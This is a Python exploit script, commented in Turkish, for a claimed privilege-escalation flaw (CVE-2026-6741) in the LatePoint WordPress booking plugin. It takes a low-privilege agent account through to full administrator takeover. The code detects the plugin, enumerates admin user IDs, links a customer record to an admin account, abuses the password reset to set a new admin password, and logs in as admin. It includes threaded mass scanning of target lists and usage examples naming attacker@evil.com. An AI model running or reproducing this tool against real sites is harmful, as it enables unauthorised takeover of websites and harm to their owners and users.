#!/usr/bin/env python3 """ CVE-2026-6741 — LatePoint Calendar Booking Plugin <= 5.4.1 Authenticated (Agent+) Privilege Escalation → Administrator Takeover Saldırı Zinciri: 1. Agent kimlik bilgileriyle oturum aç → REST nonce al 2. Hedef admin WordPress user ID'sini tespit et 3. LatePoint customer kaydını admin WP user'ına bağla (connect-customer-to-wp-user ability — eksik rol kontrolü) 4. Bağlı customer için şifre sıfırlama başlat 5. Reset token ile admin şifresini değiştir (wp_set_password($new_pass, $admin_id)) 6. Yeni şifreyle admin olarak giriş yap → tam site kontrolü Gereksinimler: - WordPress 6.9+ (Abilities API) - LatePoint <= 5.4.1 kurulu ve aktif - latepoint_agent rolüne sahip hesap - Kontrol edilen bir LatePoint customer kaydı """ import requests import argparse import json import re import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed from threading import Lock from urllib.parse import urlencode, quote requests.packages.urllib3.disable_warnings() G = "\033[92m"; R = "\033[91m"; Y = "\033[93m" C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m" _lock = Lock() _counter = [0] def out(msg): with _lock: sys.stdout.write("\r" + " " * 100 + "\r") sys.stdout.write(msg + "\n") sys.stdout.flush() def progress(total): with _lock: _counter[0] += 1 n = _counter[0] pct = n * 100 // total bar = "█" * (pct // 5) + "░" * (20 - pct // 5) sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%) ") sys.stdout.flush() # ══════════════════════════════════════════════════════════════ # ADIM 1 — AGENT OTURUM AÇMA + REST NONCE # ══════════════════════════════════════════════════════════════ def agent_login(sess, base, username, password): """ Agent kimlik bilgileriyle WordPress'e giriş yap. Cookie tabanlı oturum + REST API nonce al. """ # Test cookie set et sess.cookies.set("wordpress_test_cookie", "WP Cookie check", domain=base.split("//")[-1].split("/")[0]) login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", } try: r = sess.post( base + "/wp-login.php", data=login_data, allow_redirects=True, timeout=10, ) # Giriş başarılı mı? logged_in = any( "wordpress_logged_in" in k for k in sess.cookies.keys() ) if not logged_in: # Hata mesajı kontrol et if "incorrect" in r.text.lower() or "invalid" in r.text.lower(): return {"status": "WRONG_CREDS"} if "latepoint_agent" not in r.text and "/wp-admin" not in r.url: return {"status": "LOGIN_FAILED", "hint": r.url} # REST nonce al nonce = get_rest_nonce(sess, base) if not nonce: return {"status": "NO_NONCE"} # Kullanıcı bilgilerini al user_info = get_current_user(sess, base, nonce) return { "status": "OK", "nonce": nonce, "user_info": user_info, } except requests.exceptions.Timeout: return {"status": "TIMEOUT"} except requests.exceptions.ConnectionError: return {"status": "CONN_ERR"} except Exception as e: return {"status": "EXCEPTION", "err": str(e)} def get_rest_nonce(sess, base): """WordPress REST API nonce'ını al.""" endpoints = [ "/wp-admin/admin-ajax.php?action=rest-nonce", "/wp-admin/admin-ajax.php?action=wp_rest", ] for ep in endpoints: try: r = sess.get(base + ep, timeout=8) if r.status_code == 200: nonce = r.text.strip() if re.match(r'^[a-f0-9]{10}$', nonce): return nonce # JSON yanıt try: data = r.json() n = data.get("nonce") or data.get("data", {}).get("nonce") if n: return n except: pass except: continue # Sayfa kaynağından çek try: r = sess.get(base + "/wp-admin/", timeout=8) m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{10})"', r.text) if m: return m.group(1) m = re.search(r'wpApiSettings.*?"nonce"\s*:\s*"([^"]+)"', r.text, re.S) if m: return m.group(1) except: pass return None def get_current_user(sess, base, nonce): """Mevcut kullanıcı bilgilerini al.""" try: r = sess.get( base + "/wp-json/wp/v2/users/me", headers={"X-WP-Nonce": nonce}, timeout=8, ) if r.status_code == 200: return r.json() except: pass return {} # ══════════════════════════════════════════════════════════════ # ADIM 2 — HEDEF ADMIN USER ID TESPİTİ # ══════════════════════════════════════════════════════════════ def find_admin_user_ids(sess, base, nonce=None): """ WordPress administrator kullanıcı ID'lerini bul. Birden fazla yöntem denenir. """ admin_ids = [] # 1. REST API — admin rolü filtreli headers = {"X-WP-Nonce": nonce} if nonce else {} for ep in [ "/wp-json/wp/v2/users?roles=administrator&per_page=100", "/wp-json/wp/v2/users?per_page=100", ]: try: r = sess.get(base + ep, headers=headers, timeout=8) if r.status_code == 200: users = r.json() if isinstance(users, list): for u in users: roles = u.get("roles", []) uid = u.get("id", 0) if "administrator" in roles and uid: admin_ids.append({ "id": uid, "name": u.get("name", ""), "email": u.get("email", ""), "slug": u.get("slug", ""), }) if admin_ids: break except: continue # 2. ID 1 her zaman dene (genellikle ilk admin) if not any(a["id"] == 1 for a in admin_ids): try: r = sess.get( base + "/wp-json/wp/v2/users/1", headers=headers, timeout=5 ) if r.status_code == 200: u = r.json() if u.get("id"): admin_ids.insert(0, { "id": u["id"], "name": u.get("name", ""), "email": u.get("email", ""), "slug": u.get("slug", ""), }) except: pass # 3. Author sayfalarından ID tara (1-5) if not admin_ids: for i in range(1, 6): try: r = sess.get( base + f"/?author={i}", timeout=5, allow_redirects=True ) if r.status_code == 200: # author-{slug} class'ından ID çıkar m = re.search(r'author-(\d+)', r.text) if m: admin_ids.append({ "id": int(m.group(1)), "name": "", "email": "", "slug": "", }) except: continue # Tekrarları kaldır seen = [] unique = [] for a in admin_ids: if a["id"] not in seen: seen.append(a["id"]) unique.append(a) return unique if unique else [{"id": 1, "name": "admin", "email": "", "slug": ""}] # ══════════════════════════════════════════════════════════════ # ADIM 3 — LATEPOINT CUSTOMER TESPİTİ / OLUŞTURMA # ══════════════════════════════════════════════════════════════ def find_customer_id(sess, base, nonce, agent_email=None): """ Agent'ın kontrol ettiği LatePoint customer ID'sini bul. LatePoint admin panelinden veya booking formundan. """ # LatePoint admin panel — customer listesi endpoints = [ "/wp-admin/admin.php?page=latepoint&action=customers", "/wp-admin/admin.php?page=latepoint-customers", "/wp-json/latepoint/v1/customers", "/wp-json/latepoint/v2/customers", ] for ep in endpoints: try: r = sess.get( base + ep, headers={"X-WP-Nonce": nonce}, timeout=8, ) if r.status_code == 200: # JSON yanıt try: data = r.json() customers = data if isinstance(data, list) else data.get("customers", []) if customers: # Agent'ın kendi emailiyle eşleşen customer bul for c in customers: cid = c.get("id", 0) email = c.get("email", "") if agent_email and email == agent_email: return cid, email # İlk customer'ı döndür first = customers[0] return first.get("id", 0), first.get("email", "") except: pass # HTML yanıt — ID çıkar m = re.search(r'data-customer-id=["\'](\d+)["\']', r.text) if m: return int(m.group(1)), "" except: continue return None, None # ══════════════════════════════════════════════════════════════ # ADIM 4 — CUSTOMER → ADMIN BAĞLAMA (ZAFIYET) # ══════════════════════════════════════════════════════════════ def connect_customer_to_admin(sess, base, nonce, customer_id, admin_wp_user_id): """ LatePoint connect-customer-to-wp-user ability'sini çağır. Bu çağrı rol kontrolü yapmadan customer'ı admin'e bağlar. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user { "customer_id": , "wp_user_id": } """ ability_endpoints = [ "/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user", "/wp-json/wp/v1/abilities/latepoint/connect-customer-to-wp-user", "/wp-json/latepoint/v1/abilities/connect-customer-to-wp-user", ] payload = { "customer_id": customer_id, "wp_user_id": admin_wp_user_id, } headers = { "Content-Type": "application/json", "X-WP-Nonce": nonce, } for ep in ability_endpoints: try: r = sess.post( base + ep, json=payload, headers=headers, timeout=10, ) if r.status_code in (200, 201): try: data = r.json() # Başarı kontrolü wp_uid = ( data.get("wp_user_id") or data.get("wordpress_user_id") or data.get("data", {}).get("wp_user_id") ) if wp_uid == admin_wp_user_id or str(wp_uid) == str(admin_wp_user_id): return { "status": "LINKED", "endpoint": ep, "response": data, } # Hata mesajı yok ve 200 döndü if "error" not in str(data).lower(): return { "status": "LINKED_ASSUMED", "endpoint": ep, "response": data, } except: if r.status_code == 200: return { "status": "LINKED_RAW", "endpoint": ep, "raw": r.text[:200], } elif r.status_code == 403: return {"status": "FORBIDDEN", "hint": "Abilities API kapalı veya yetki yok"} elif r.status_code == 404: continue # Sonraki endpoint'i dene except requests.exceptions.Timeout: return {"status": "TIMEOUT"} except Exception as e: return {"status": "EXCEPTION", "err": str(e)} return {"status": "ENDPOINT_NOT_FOUND"} # ══════════════════════════════════════════════════════════════ # ADIM 5 — ŞİFRE SIFIRLAMA BAŞLAT # ══════════════════════════════════════════════════════════════ def trigger_password_reset(sess, base, customer_email): """ LatePoint customer cabinet forgot_password endpoint'ini çağır. Bu, customer'ın emailine reset token gönderir. """ reset_endpoints = [ "/?latepoint_route=customer_cabinet%2Fforgot_password", "/wp-admin/admin-ajax.php", ] for ep in reset_endpoints: try: if "admin-ajax" in ep: data = { "action": "latepoint_route_call", "route_name": "customer_cabinet__forgot_password", "password_reset_email": customer_email, } else: data = {"password_reset_email": customer_email} r = sess.post( base + ep, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=10, ) if r.status_code == 200: body = r.text.lower() if any(x in body for x in [ "email sent", "check your email", "reset link", "password reset", "success", "sent" ]): return {"status": "RESET_SENT", "endpoint": ep} # JSON yanıt try: d = r.json() if d.get("status") == "success" or d.get("success"): return {"status": "RESET_SENT", "endpoint": ep} except: pass # 200 aldık, muhtemelen gönderildi return {"status": "RESET_MAYBE", "endpoint": ep, "raw": r.text[:200]} except: continue return {"status": "RESET_FAILED"} # ══════════════════════════════════════════════════════════════ # ADIM 6 — ŞİFRE SIFIRLAMA TAMAMLA # ══════════════════════════════════════════════════════════════ def complete_password_reset(sess, base, reset_token, new_password): """ Reset token ile yeni şifreyi set et. update_password() → wp_set_password($new_pass, $admin_id) """ change_endpoints = [ "/?latepoint_route=customer_cabinet%2Fchange_password", "/wp-admin/admin-ajax.php", ] for ep in change_endpoints: try: if "admin-ajax" in ep: data = { "action": "latepoint_route_call", "route_name": "customer_cabinet__change_password", "password_reset_token": reset_token, "password": new_password, "password_confirmation": new_password, } else: data = { "password_reset_token": reset_token, "password": new_password, "password_confirmation": new_password, } r = sess.post( base + ep, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=10, ) if r.status_code == 200: body = r.text.lower() if any(x in body for x in [ "password updated", "password changed", "success", "updated" ]): return {"status": "PASSWORD_CHANGED", "endpoint": ep} try: d = r.json() if d.get("status") == "success" or d.get("success"): return {"status": "PASSWORD_CHANGED", "endpoint": ep} except: pass return {"status": "CHANGE_MAYBE", "endpoint": ep, "raw": r.text[:200]} except: continue return {"status": "CHANGE_FAILED"} # ══════════════════════════════════════════════════════════════ # ADIM 7 — ADMİN OLARAK GİRİŞ YAP + DOĞRULA # ══════════════════════════════════════════════════════════════ def login_as_admin(sess, base, admin_username, new_password): """Yeni şifreyle admin olarak giriş yap.""" admin_sess = requests.Session() admin_sess.headers["User-Agent"] = sess.headers.get("User-Agent", "Mozilla/5.0") admin_sess.verify = False admin_sess.cookies.set( "wordpress_test_cookie", "WP Cookie check", domain=base.split("//")[-1].split("/")[0] ) login_data = { "log": admin_username, "pwd": new_password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", } try: r = admin_sess.post( base + "/wp-login.php", data=login_data, allow_redirects=True, timeout=10, ) logged_in = any( "wordpress_logged_in" in k for k in admin_sess.cookies.keys() ) if logged_in or "/wp-admin" in r.url: # Doğrula nonce = get_rest_nonce(admin_sess, base) user = get_current_user(admin_sess, base, nonce) if nonce else {} roles = user.get("roles", []) return { "status": "ADMIN_LOGIN_OK", "roles": roles, "user": user.get("name", admin_username), "cookies": dict(admin_sess.cookies), "is_admin": "administrator" in roles, } return {"status": "ADMIN_LOGIN_FAILED", "url": r.url} except Exception as e: return {"status": "EXCEPTION", "err": str(e)} def verify_admin_access(sess, base, nonce): """wp-admin erişimini doğrula.""" try: r = sess.get(base + "/wp-admin/user-new.php", timeout=8, allow_redirects=True) if r.status_code == 200 and "wp-login.php" not in r.url: return True except: pass return False # ══════════════════════════════════════════════════════════════ # LATEPOINT PLUGIN TESPİTİ # ══════════════════════════════════════════════════════════════ def detect_latepoint(sess, base): """LatePoint eklentisinin kurulu ve Abilities API'nin aktif olup olmadığını kontrol et.""" info = { "installed": False, "version": None, "abilities_api": False, "wp_version_ok": False, } # readme.txt try: r = sess.get( base + "/wp-content/plugins/latepoint/readme.txt", timeout=5 ) if r.status_code == 200: info["installed"] = True m = re.search(r'Stable tag:\s*([\d.]+)', r.text) if m: info["version"] = m.group(1) except: pass # Abilities endpoint varlığı try: r = sess.get( base + "/wp-json/wp/v2/abilities", timeout=5 ) if r.status_code in (200, 401, 403): info["abilities_api"] = True info["installed"] = True except: pass # WordPress sürüm kontrolü (6.9+ gerekli) try: r = sess.get(base + "/wp-json/", timeout=5) if r.status_code == 200: data = r.json() wp_ver = data.get("generator", "") m = re.search(r'WordPress ([\d.]+)', wp_ver) if m: ver_parts = [int(x) for x in m.group(1).split(".")] if ver_parts[0] > 6 or (ver_parts[0] == 6 and ver_parts[1] >= 9): info["wp_version_ok"] = True except: pass # Sayfa kaynağında latepoint varlığı try: r = sess.get(base, timeout=5) if "latepoint" in r.text.lower(): info["installed"] = True except: pass return info # ══════════════════════════════════════════════════════════════ # ANA SALDIRI AKIŞI # ══════════════════════════════════════════════════════════════ def attack(target, args, total=1): if not target.startswith("http"): target = "http://" + target sess = requests.Session() sess.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" sess.verify = False if args.proxy: sess.proxies = {"http": args.proxy, "https": args.proxy} # Bağlantı testi try: r = sess.get(target, timeout=8, allow_redirects=True) base = r.url.rstrip("/") except: progress(total) return {"status": "UNREACH", "url": target} result = { "url": base, "status": "UNKNOWN", "steps": {}, } # ── Eklenti tespiti ── lp = detect_latepoint(sess, base) result["plugin"] = lp if not lp["installed"]: progress(total) result["status"] = "NO_PLUGIN" return result if not lp["abilities_api"] and not args.force: progress(total) result["status"] = "NO_ABILITIES_API" return result # ── Adım 1: Agent girişi ── out(f"{C}[→] {base} Adım 1/6: Agent girişi...{X}") login = agent_login(sess, base, args.agent_user, args.agent_pass) result["steps"]["login"] = login if login["status"] != "OK": progress(total) result["status"] = f"LOGIN_FAILED:{login['status']}" return result nonce = login["nonce"] agent_info = login.get("user_info", {}) agent_email = agent_info.get("email", args.agent_user) # ── Adım 2: Admin user ID tespiti ── out(f"{C}[→] {base} Adım 2/6: Admin user ID tespiti...{X}") if args.admin_id: admin_users = [{"id": args.admin_id, "name": "admin", "email": "", "slug": ""}] else: admin_users = find_admin_user_ids(sess, base, nonce) result["steps"]["admin_users"] = admin_users if not admin_users: progress(total) result["status"] = "NO_ADMIN_FOUND" return result # ── Adım 3: Customer ID tespiti ── out(f"{C}[→] {base} Adım 3/6: Customer ID tespiti...{X}") if args.customer_id: customer_id = args.customer_id customer_email = args.customer_email or agent_email else: customer_id, customer_email = find_customer_id( sess, base, nonce, agent_email ) if not customer_id: progress(total) result["status"] = "NO_CUSTOMER_FOUND" result["hint"] = "--customer-id ile manuel belirt" return result customer_email = customer_email or args.customer_email or agent_email result["steps"]["customer"] = { "id": customer_id, "email": customer_email, } # ── Adım 4: Customer → Admin bağlama ── target_admin = admin_users[0] out(f"{C}[→] {base} Adım 4/6: Customer #{customer_id} → Admin #{target_admin['id']} bağlanıyor...{X}") link = connect_customer_to_admin( sess, base, nonce, customer_id, target_admin["id"] ) result["steps"]["link"] = link if link["status"] not in ("LINKED", "LINKED_ASSUMED", "LINKED_RAW"): progress(total) result["status"] = f"LINK_FAILED:{link['status']}" return result # ── Adım 5: Şifre sıfırlama başlat ── out(f"{C}[→] {base} Adım 5/6: Şifre sıfırlama başlatılıyor ({customer_email})...{X}") reset = trigger_password_reset(sess, base, customer_email) result["steps"]["reset"] = reset # Token manuel sağlandıysa direkt kullan if args.reset_token: out(f"{C}[→] {base} Adım 6/6: Şifre değiştiriliyor (manuel token)...{X}") change = complete_password_reset( sess, base, args.reset_token, args.new_password ) result["steps"]["change"] = change if change["status"] in ("PASSWORD_CHANGED", "CHANGE_MAYBE"): # Admin girişi dene admin_login = login_as_admin( sess, base, target_admin.get("slug") or target_admin.get("name") or "admin", args.new_password, ) result["steps"]["admin_login"] = admin_login if admin_login.get("is_admin"): result["status"] = "PWNED" else: result["status"] = "PASSWORD_CHANGED_VERIFY_MANUALLY" else: result["status"] = f"CHANGE_FAILED:{change['status']}" else: # Token email'den gelmeli — manuel adım gerekiyor result["status"] = "RESET_SENT_MANUAL_TOKEN_NEEDED" result["hint"] = ( f"Reset emaili {customer_email} adresine gönderildi. " f"Token'ı alıp --reset-token ve --new-password ile tekrar çalıştır." ) progress(total) return result # ══════════════════════════════════════════════════════════════ # ÇIKTI YAZICI # ══════════════════════════════════════════════════════════════ def print_result(res, fout=None): s = res.get("status", "") u = res.get("url", "") p = res.get("plugin", {}) steps = res.get("steps", {}) if s == "PWNED": al = steps.get("admin_login", {}) out(f"{G}{'═'*60}") out(f"{G}[★ PWNED ] {u}") out(f" Sürüm : {p.get('version','?')}") out(f" Admin ID : {steps.get('link',{}).get('response',{}).get('wp_user_id','?')}") out(f" Customer : #{steps.get('customer',{}).get('id','?')} <{steps.get('customer',{}).get('email','?')}>") out(f" Yeni Şifre : {al.get('cookies',{})}") out(f" Kullanıcı : {al.get('user','')} roles={al.get('roles',[])}") out(f"{'═'*60}{X}") if fout: fout.write( f"PWNED {u} " f"customer={steps.get('customer',{}).get('id','')} " f"admin_roles={al.get('roles','')}\n" ) fout.flush() elif s == "RESET_SENT_MANUAL_TOKEN_NEEDED": out(f"{Y}[~ RESET_SENT] {u}") out(f" Customer : #{steps.get('customer',{}).get('id','?')} <{steps.get('customer',{}).get('email','?')}>") out(f" Link Status : {steps.get('link',{}).get('status','?')}") out(f" {res.get('hint','')}{X}") elif s == "PASSWORD_CHANGED_VERIFY_MANUALLY": out(f"{Y}[~ PWD_CHANGE] {u} (admin girişi doğrulanamadı — manuel kontrol et){X}") elif s.startswith("LINK_FAILED"): out(f"{R}[- LINK_FAIL ] {u} {s} {steps.get('link',{}).get('hint','')}{X}") elif s.startswith("LOGIN_FAILED"): out(f"{R}[- LOGIN_FAIL] {u} {s}{X}") elif s == "NO_PLUGIN": out(f"{D}[- NO_PLUGIN ] {u} (LatePoint kurulu değil){X}") elif s == "NO_ABILITIES_API": out(f"{D}[- NO_ABILITY] {u} (Abilities API kapalı — WP 6.9+ gerekli){X}") elif s == "NO_CUSTOMER_FOUND": out(f"{Y}[~ NO_CUST ] {u} --customer-id ile manuel belirt{X}") elif s == "UNREACH": out(f"{D}[~ UNREACH ] {u}{X}") else: out(f"{D}[- {s:14s}] {u} {res.get('hint','')[:60]}{X}") # ══════════════════════════════════════════════════════════════ # MAIN # ══════════════════════════════════════════════════════════════ def main(): ap = argparse.ArgumentParser( description="CVE-2026-6741 — LatePoint <= 5.4.1 Privilege Escalation Scanner", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Örnekler: # Tekil hedef — tam otomatik python latepoint_privesc.py -u http://hedef.com \\ --agent-user agent1 --agent-pass Pass123! # Admin ID ve customer ID manuel belirt python latepoint_privesc.py -u http://hedef.com \\ --agent-user agent1 --agent-pass Pass123! \\ --admin-id 1 --customer-id 5 --customer-email attacker@evil.com # Reset token ile şifre değiştir (2. aşama) python latepoint_privesc.py -u http://hedef.com \\ --agent-user agent1 --agent-pass Pass123! \\ --admin-id 1 --customer-id 5 --customer-email attacker@evil.com \\ --reset-token abc123xyz --new-password Hacked_2026! # Toplu tarama python latepoint_privesc.py -l targets.txt -t 10 \\ --agent-user agent1 --agent-pass Pass123! -o sonuclar.txt # Proxy ile (Burp Suite) python latepoint_privesc.py -u http://hedef.com \\ --agent-user agent1 --agent-pass Pass123! \\ --proxy http://127.0.0.1:8080 """ ) group = ap.add_mutually_exclusive_group(required=True) group.add_argument("-u", "--url", help="Tekil hedef URL") group.add_argument("-l", "--list", help="Hedef listesi dosyası") # Agent kimlik bilgileri creds = ap.add_argument_group("Agent Kimlik Bilgileri") creds.add_argument("--agent-user", required=True, help="Agent kullanıcı adı") creds.add_argument("--agent-pass", required=True, help="Agent şifresi") # Hedef parametreler target_g = ap.add_argument_group("Hedef Parametreler") target_g.add_argument("--admin-id", type=int, help="Hedef admin WP user ID") target_g.add_argument("--customer-id", type=int, help="Kontrol edilen LatePoint customer ID") target_g.add_argument("--customer-email", help="LatePoint customer email adresi") # Şifre sıfırlama reset_g = ap.add_argument_group("Şifre Sıfırlama (2. Aşama)") reset_g.add_argument("--reset-token", help="Email'den alınan reset token") reset_g.add_argument("--new-password", default="Pwned_CVE2026_6741!", help="Yeni admin şifresi") # Genel ap.add_argument("-t", "--threads", type=int, default=5) ap.add_argument("-o", "--output", default="privesc_results.txt") ap.add_argument("--force", action="store_true", help="Abilities API tespiti başarısız olsa bile devam et") ap.add_argument("--proxy", help="Proxy URL") ap.add_argument("--timeout", type=int, default=10) args = ap.parse_args() # ── Tekil hedef ── if args.url: print(f"\n{B}[*] Hedef : {args.url}") print(f"[*] Agent : {args.agent_user}") print(f"[*] Admin ID : {args.admin_id or 'otomatik tespit'}") print(f"[*] Customer ID : {args.customer_id or 'otomatik tespit'}") print(f"[*] Reset Token : {args.reset_token or 'email bekleniyor'}") print(f"[*] Yeni Şifre : {args.new_password}{X}\n") res = attack(args.url, args, total=1) print_result(res) if res.get("status") in ("PWNED", "RESET_SENT_MANUAL_TOKEN_NEEDED"): with open(args.output, "w") as f: f.write(json.dumps(res, indent=2, default=str)) print(f"\n{G}[+] Kaydedildi → {args.output}{X}") return # ── Toplu tarama ── with open(args.list) as f: targets = [l.strip() for l in f if l.strip()] total = len(targets) _counter[0] = 0 print(f"\n{B}[*] {total} hedef | CVE-2026-6741 LatePoint PrivEsc | threads={args.threads}{X}\n") stats = {} with open(args.output, "w") as fout: with ThreadPoolExecutor(max_workers=args.threads) as ex: futs = {ex.submit(attack, t, args, total): t for t in targets} for fut in as_completed(futs): res = fut.result() s = res.get("status", "ERR") stats[s] = stats.get(s, 0) + 1 print_result(res, fout) sys.stdout.write("\n") print(f"\n{B}{'─'*62}") for k, v in sorted(stats.items(), key=lambda x: -x[1]): bar = "█" * min(v, 30) print(f" {k:30s}: {v:4d} {bar}") print(f"{'─'*62}") print(f" Sonuçlar → {args.output}") print(f"{'─'*62}{X}") if __name__ == "__main__": main()